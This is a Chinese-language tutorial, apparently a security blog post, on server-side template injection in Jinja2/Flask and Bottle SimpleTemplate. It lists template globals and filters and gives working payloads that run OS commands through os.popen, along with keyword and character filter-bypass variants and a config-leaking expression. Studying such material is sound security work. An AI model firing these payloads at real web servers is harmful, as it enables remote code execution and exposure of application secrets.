SSTI(Server-Side Template Injection,服务器端模板注入)是一种常见的 Web 安全漏洞,通常出现在使用模板引擎渲染动态内容的 Web 应用中。
在许多 Web 框架中,模板引擎用于将数据动态插入到 HTML 页面中,通常是通过在模板中插入变量或表达式来生成页面内容。如果这里的表达式可控,攻击者向其中注入恶意表达式就有可能实现任意代码执行。
Jinja2
Jinja2 常用于 Python_Flask 框架。
Jinja2 的语法与 Python 相似,类似于一个 Python 的安全子集。虽然 Jinja2 不允许直接执行 Python 语句,但能够实现 python 中的动态访问。
环境
flask jinja2 环境中有一些内置的全局对象(包括 jinja2 内置和 flask 自动注入对象),比如
config
url_for
request
# function
get_flashed_messages
lipsumPython可以通过 config 对象获取程序的配置字典:
{{config}}Python除此之外,这里的一些对象可以用于获取 app 对象:
{{url_for.__globals__['current_app']}}
# <Flask 'app'>Python然后就能访问 app 对象获取一些敏感信息,例如获取当前项目的根目录:
{{url_for.__globals__['current_app'].root_path}}
# /appPython全局字典
# Jinja2 内置对象
'range': <class 'range'>,
'dict': <class 'dict'>,
'lipsum': <function generate_lorem_ipsum at 0x7549d5ae6440>,
'cycler': <class 'jinja2.utils.Cycler'>,
'joiner': <class 'jinja2.utils.Joiner'>,
'namespace': <class 'jinja2.utils.Namespace'>,
# flask 注入对象
'url_for': <bound method Flask.url_for of <Flask 'test'>>,
'get_flashed_messages': <function get_flashed_messages at 0x7549d5a76c20>,
'config': <Config {}>,
'request': <Request 'http://127.0.0.1:5000/' [GET]>,
'session': <NullSession {}>,
'g': <flask.g of 'test'>Python内置过滤器
'abs': <built-in function abs>,
'attr': <function do_attr at 0x7e1999fa0c10>,
'batch': <function do_batch at 0x7e1999f8fb50>,
'capitalize': <function do_capitalize at 0x7e1999f8e5f0>,
'center': <function do_center at 0x7e1999f8ee60>,
'count': <built-in function len>,
'd': <function do_default at 0x7e1999f8ed40>,
'default': <function do_default at 0x7e1999f8ed40>,
'dictsort': <function do_dictsort at 0x7e1999f8e710>,
'e': <function escape at 0x7e199a75d900>,
'escape': <function escape at 0x7e199a75d900>,
'filesizeformat': <function do_filesizeformat at 0x7e1999f8f400>,
'first': <function do_first at 0x7e1999f8f2e0>,
'float': <function do_float at 0x7e1999f8f880>,
'forceescape': <function do_forceescape at 0x7e1999f8e170>,
'format': <function do_format at 0x7e1999f8f910>,
'groupby': <function do_groupby at 0x7e1999fa05e0>,
'indent': <function do_indent at 0x7e1999f8f5b0>,
'int': <function do_int at 0x7e1999f8f7f0>,
'join': <function do_join at 0x7e1999f8f010>,
'last': <function do_last at 0x7e1999f8f130>,
'length': <built-in function len>,
'list': <function do_list at 0x7e1999fa0a60>,
'lower': <function do_lower at 0x7e1999f8e440>,
'items': <function do_items at 0x7e1999f8e4d0>,
'map': <function do_map at 0x7e1999fa0ee0>,
'min': <function do_min at 0x7e1999f8ec20>,
'max': <function do_max at 0x7e1999f8ecb0>,
'pprint': <function do_pprint at 0x7e1999f8f490>,
'random': <function do_random at 0x7e1999f8f370>,
'reject': <function do_reject at 0x7e1999fa1360>,
'rejectattr': <function do_rejectattr at 0x7e1999fa17e0>,
'replace': <function do_replace at 0x7e1999f8e320>,
'reverse': <function do_reverse at 0x7e1999fa0b80>,
'round': <function do_round at 0x7e1999f8fd90>,
'safe': <function do_mark_safe at 0x7e1999fa08b0>,
'select': <function do_select at 0x7e1999fa1120>,
'selectattr': <function do_selectattr at 0x7e1999fa15a0>,
'slice': <function do_slice at 0x7e1999f8fd00>,
'sort': <function do_sort at 0x7e1999f8e830>,
'string': <function soft_str at 0x7e199a75dd80>,
'striptags': <function do_striptags at 0x7e1999f8fa30>,
'sum': <function do_sum at 0x7e1999fa0820>,
'title': <function do_title at 0x7e1999f8e680>,
'trim': <function do_trim at 0x7e1999f8f9a0>,
'truncate': <function do_truncate at 0x7e1999f8f640>,
'unique': <function do_unique at 0x7e1999f8eb00>,
'upper': <function do_upper at 0x7e1999f8e3b0>,
'urlencode': <function do_urlencode at 0x7e1999f8e200>,
'urlize': <function do_urlize at 0x7e1999f8f520>,
'wordcount': <function do_wordcount at 0x7e1999f8f760>,
'wordwrap': <function do_wordwrap at 0x7e1999f8f6d0>,
'xmlattr': <function do_xmlattr at 0x7e1999f8e560>,
'tojson': <function do_tojson at 0x7e1999fa1630>}Python语法
表达式执行
{{code}}Python执行 python 表达式并输出。
{%code%}Python执行控制结构和逻辑表达式,不输出。直接执行 Python 表达式可以用 {%print(code)%},同时实现输出。
Payload
对于 ssti 的过滤一般出在关键词和特殊字符的过滤上。
关键字过滤:想要绕过关键字,只要让关键字以字符串的形式被调用就很容易实现。因为字符串可以进行各种编码、拼接和过滤器处理。那么如何以字符串形式调用各种关键字呢,我们来看这些内置方法和过滤器:
常规 payload 中我们用 ''.__class__ 来调用一个对象的属性。事实上这里除了 . 之外有很多其他的调用方式,我们可以用 __getattribute__、attr 过滤器来实现。getattribute 方法几乎是所有属性访问行为的底层实现,用 . 来访问属性事实上就调用了 getattribute。而 attr 过滤器是 jinja2 内置的访问属性的语法。
特殊符号过滤:解决了关键字的问题后,我们再来看对于特殊符号的过滤。
- 如果过滤了
.我们可以直接用attr过滤器实现访问对象属性,命令中的.可以直接编码绕过。需要注意的是,attr 过滤器后不能直接进行.的拼接,需要对整体加括号再用.语法。 - 如果过滤了
'",我们可以用 request 旁路注入的方法绕过,但这里必须用到.。 - 如果过滤了
[],对于字典的访问可以用__getitem__、get、setdefault、pop进行绕过。
# 基础 payload
{{"".__class__.__base__.__subclasses__()[下标].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
# 循环语句获取下标
{% for c in "".__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}Python# 没过滤 '\"\()
{%print((((lipsum|attr("__glo"+"bals__"))|attr("get")("os"))|attr("po"+"pen")("id"))|attr("read")())%}
# 没过滤 .\()
{%print((((lipsum|attr(request.args.gl))|attr(request.args.g)(request.args.o))|attr(request.args.p)(request.args.c))|attr(request.args.r)())%}
get 传参:gl=__globals__&g=get&o=os&p=popen&r=read&c=id
{%for c in ()|attr(request.args.cl)|attr(request.args.ba)|attr(request.args.sub)()%}{%if c|attr(request.args.na)==request.args.nb%}{%print((c|attr(request.args.in)|attr(request.args.gl))[request.args.p](request.args.xq).read())%}{%endif%}{%endfor%}
get 传参:cl=__class__&ba=__base__&sub=__subclasses__&na=__name__&nb=_wrap_close&in=__init__&gl=__globals__&p=popen&r=read&xq=idPythonSimpleTemplate
SimpleTemplate 是 Bottle 框架的默认模板引擎。Bottle是一个轻量级的单文件 Web 框架,非常适合用来快速搭建小型应用。除了默认使用的 SimpleTemplate 模板引擎,支持 Jinja2 等多种第三方引擎。
SimpleTemplate 和 Jinja2 不同的是,在 SimpleTemplate 中可以直接执行 python 语句。SimpleTemplate 中语句的执行环境和 python 解释器的环境非常相近。
语法
表达式执行
和 Jinja2 类似但有所不同的是 SimpleTemplate 可以通过嵌入 {{code}}、<%code%> 和 %code 来实现表达式的执行。
和 Jinja2 一样,用来执行 python 表达式并输出:
{{code}}Python执行 python 代码但不会输出:
<%code%>Python执行 python 代码但不会输出:
%codePython值得一提的是,在 <%code%> 和 %code 中 python 代码不需要注意缩进问题,但是 if 和 for 这样的语句需要用 end 结尾。
但是这两种用法需要注意一个问题,<%code%> 和 %code 必须位于单独一行,想保证这个前提可以直接在输入前后加上 \n。
abort函数
abort 在 Bottle 中是一个快捷函数,用来中止当前请求并返回一个 HTTP 错误响应。
abort(status_code, body)Python- status_code:返回的响应码
- body(可选):返回的响应体,可以是 python 表达式。
payload
{{__import__('bottle').abort(404,__import__('os').popen("id").read())}}Pythonaaa
<%__import__('bottle').abort(404,__import__('os').popen("id").read())%>
aaaPythonaaa
%__import__('bottle').abort(404,__import__('os').popen("id").read())
aaaPython
Comments NOTHING